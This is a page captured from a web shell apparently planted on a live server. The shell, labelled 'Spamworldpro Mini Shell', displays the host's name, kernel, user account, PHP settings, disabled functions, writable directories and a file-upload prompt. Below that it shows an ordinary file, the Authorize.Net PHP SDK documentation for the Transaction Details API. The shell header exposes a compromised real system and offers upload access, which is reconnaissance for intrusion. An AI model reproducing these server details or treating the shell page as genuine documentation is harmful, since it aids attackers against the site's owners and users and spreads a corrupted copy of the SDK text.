Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/vendor/authorizenet/authorizenet/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/job-board.corals.io/vendor/authorizenet/authorizenet/doc/TD.markdown
Transaction Details API
=======================

Basic Overview
--------------

The AuthorizeNetTD class creates a request object for submitting requests
to the Authorize.Net Transaction Details API.

The AuthorizeNetTD class returns a response that uses PHP's bundled SimpleXML
class for accessing it's members.

The AuthorizeNetTD response provides two ways to access response elements:

1.) A SimpleXml object:

```PHP
$response->xml->transaction->payment->creditCard->cardType
```

2.) Xpath:

```PHP
$batches = $response->xpath("batchList/batch");
```

3.) AuthorizeNet Objects (todo)



Get Transaction Details
-----------------------

```PHP
$request = new AuthorizeNetTD;
$response = $request->getTransactionDetails($transId);
echo "Amount: {$response->xml->transaction->authAmount}";
```

Get Settled Batch List
----------------------

```PHP
$request = new AuthorizeNetTD;
$response = $request->getSettledBatchList();
$batches = $response->xpath("batchList/batch");
echo "Batch 1: {$batches[0]->batchId}";
```

Get Transaction List
--------------------

```PHP
$request = new AuthorizeNetTD;
$response = $request->getTransactionList($batch_id);
$transactions = $response->xpath("transactions/transaction")
```

There are two additional helper methods in the PHP SDK which
will make multiple calls to retrieve a day's worth of 
transactions or a month's worth of batches:

```PHP
getTransactionsForDay($month, $day, $year = false)
getSettledBatchListForMonth($month , $year)
```

If you don't pass parameters into these methods they will default
to the current day/month.

Spamworldpro Mini